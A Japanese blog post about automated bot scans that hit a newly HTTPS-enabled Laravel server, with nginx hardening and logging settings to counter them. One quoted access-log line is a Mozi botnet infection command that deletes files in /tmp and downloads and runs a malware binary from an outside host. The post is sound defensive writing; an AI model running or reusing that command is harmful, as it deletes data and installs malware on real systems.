📌

LaravelをHTTPS公開した5分後、世界中のbotが叩いてきた

に公開

前回の内容から

sudo certbot --nginx -d test.catatsumuri.org

を実行して証明書を取得した。

その数分後から、ログに見知らぬIPが並び始めた。


何が飛んでくるのか

実際のアクセスログを人間語に訳すとこうなる。

Mozi.a ボットネット

GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

IoTルーターを標的にしたマルウェアの感染コマンド。/shell がなければ404で終わる。


WebLogic T3プロトコル探索

GET /
\x16\x03\x01... ← TLS ClientHello
"t3 12.1.2"     ← WebLogic固有プロトコル

Oracle WebLogicを探している自動スキャナー。Laravelには無関係なので400


Gitリポジトリ漏洩スキャン

GET /.git/config
User-Agent: python-requests/2.25.1

.git/config が公開されていれば、リポジトリ全体を復元できる。


オープンプロキシ確認

CONNECT www.google.com:443
\x05\x01\x00  ← SOCKS5プロトコル
"MGLNDD_43.207.209.62_80"

このサーバーをプロキシとして悪用できないか試している。


さらに時間が経つと .env への試みが5回、.git/config が3回。全部自動だ。

これら1つ1つに目くじらを立てていては最早Webサーバーなど運営不可能。


なぜこんなに早く名前アクセスが来るのか

certbotで証明書を取得すると、発行から数分以内に CT(Certificate Transparency)ログ に公開される。crt.sh などで誰でも検索できる、新規ドメインの公開台帳だ。

これを監視しているスキャナーが世界中にいて、新しいドメインを見つけるとすぐ叩きに来る。SSL化した瞬間にスキャナーに登録される、というのが実態に近い。


nginxを「Laravelを理解した上で閉じる」

Laravel公式ドキュメントのnginx設定には、既に良い設計があるのでこれを採用する。

PHPの実行を index.php だけに限定する

# 公式推奨
location ~ ^/index\.php(/|$)

# よくある設定
location ~ \.php$

Laravelは index.php を単一エンドポイントとするフレームワークなので、他の .php を実行する必要がそもそもない。ファイルアップロード機能との組み合わせで任意コード実行につながる経路を、構造から断ち切っている。

ドットファイルの保護を正確にする

# 公式推奨
location ~ /\.(?!well-known).*  { deny all; }

# よくある設定
location ~ /\.ht { deny all; }

.ht 系しか防がない設定より、 .env.git もまとめて塞げる。.well-knownだけを例外にしているのは、certbotの自動更新がここを使うから。

セキュリティヘッダー

add_header X-Frame-Options "SAMEORIGIN";
add_header X-Content-Type-Options "nosniff";

X-Frame-OptionsClickjacking対策。ログイン画面がある時点で必須レベル。nosniff はブラウザがContent-Typeを無視してMIMEスニッフィングするのを防ぐ。ファイルアップロード機能が将来入ることを考えると入れておく価値がある。

X-Powered-By の隠蔽

fastcgi_hide_header X-Powered-By;

PHPバージョンをレスポンスヘッダーから消す。攻撃者に余計な情報を渡さない。


ログを読めるようにする

攻撃が来ても、ログが貧弱だと何も分からない。

まずIPアクセスとホストアクセスを分離した。nginxで access_log の出力先をバーチャルホスト単位で分けるだけでいい。

次に $host をログフォーマットに追加した。デフォルトのログには含まれておらず、どのvhostへのアクセスか判別できない。

最終的なフォーマット:

log_format main '$remote_addr - $host - [$time_local] "$request" '
                '$status $body_bytes_sent "$http_referer" "$http_user_agent" '
                'rt=$request_time urt=$upstream_response_time '
                'ssl=$ssl_protocol xfwd=$http_x_forwarded_for rid=$request_id';

$request_id はnginxが各リクエストに振るユニークID。Laravelのアプリケーションログと突き合わせるときに使える。$upstream_response_time でPHP-FPMの応答時間が取れるので、重い処理や異常を検知しやすくなる。


次回

fail2ban を適用して、スキャンIPを自動でブロックする。

Discussion